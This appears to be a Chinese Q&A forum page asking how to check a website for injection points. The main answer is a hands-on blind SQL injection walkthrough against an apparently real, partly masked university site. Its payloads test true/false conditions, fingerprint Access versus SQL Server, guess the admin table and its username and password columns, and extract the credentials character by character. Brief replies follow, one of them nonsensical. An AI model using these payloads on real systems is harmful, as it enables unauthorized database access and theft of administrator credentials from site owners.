怎么检查网站是否有注入?
怎么检查网站是否有注入点
我一本正经地胡说一下吧。
我们大家知道,一般注入产生在没经过虑的变量上,像ID?=XX这样的。下面以这个网址为例: http://zsb。xxx。edu。cn/2j。asp?id=24 and 1=1 返回了正常 http://zsb。
xxx。edu。cn/2j。asp?id=24 and 1=2 返回了错误1=1是一个真,1=2是一假,所以会返回一个正常一个错误。SQL数据就会变成如下: select * from 表名 where 字段='24'或者: http://zsb。
xxx。edu。cn/2j。asp?id=24 and '1'='1' http://zsb。xxx。edu。cn/2j。asp?id=24 and '1'='2' 注入存在了,判断数据库是ACC或MSS的,利用系统表 ACCESS的系统表是msysobjects,且在WEB环境下没有访问权限,而SQL-SERVER的系统表是sysobjects,在WEB环境下有访问权限。
对于以下两条语句: http://zsb。xxx。edu。cn/2j。asp?id=24 and (select count(*) from sysobjects)>0 http://zsb。xxx。edu。cn/2j。asp?id=24 and (select count(*) from msysobjects)>0 若数据库是SQL-SERVE,则第一条,网页,一定运行正常,第二条则异常;若是ACCESS则两条都会异常。
我们提交后两条后都为异常,可以判断为ACC的数据库。图3。 http://zsb。xxx。edu。cn/2j。asp?id=24 and (select count(*) from 表名)>0如果表名存在就会返回正常,反页错误。刚开始我提交: http://zsb。
xxx。edu。cn/2j。asp?id=24 and (select count(*) from admin)>0返回错误,说明不存在ADMIN这个表,当后来提交这个返回正常: http://zsb。xxx。edu。cn/2j。asp?id=24 and (select count(*) from article_admin)>0说明存在article_admin这个表。
猜列名:and (select count(字段名) from article_admin)>0 提交: http://zsb。xxx。edu。cn/2j。asp?id=24 and (select count(username) from article_admin)>0 返回了正常,接着提交: http://zsb。
xxx。edu。cn/2j。asp?id=24 and (select count(password) from article_admin)>0 返回了正常,说明存在username和password这两个字段名。猜用户名和密码长度; http://zsb。
xxx。edu。cn/2j。asp?id=24 and (select top 1 len(username) from article_admin)=5返回正常,说明username内容长度为5 http://zsb。xxx。edu。cn/2j。
asp?id=24 and (select top 1 len(password) from article_admin)=16正常,password内容长度为16,也就是MD5的值。 猜用户名和密码内容: http://zsb。xxx。edu。
cn/2j。asp?id=24 and (select top 1 asc(mid(username,1,1)) from article_admin)=97返回了正常,说明第一username里的第一位内容是ASC码的97,也就是a。猜第二位把username,1,1改成username,2,1就可以了。
猜密码把username改成password就OK了。 由于MSSQL的数据库手工挺麻烦的,就不做演示了。
答:我说个比较容易的方法,你去网上找个你网站所支持通用防注入系统,他们都有使用说明的。详情>>
答:这个有很多详情>>
答:找到对方的IP,输入IE地址里就行了!详情>>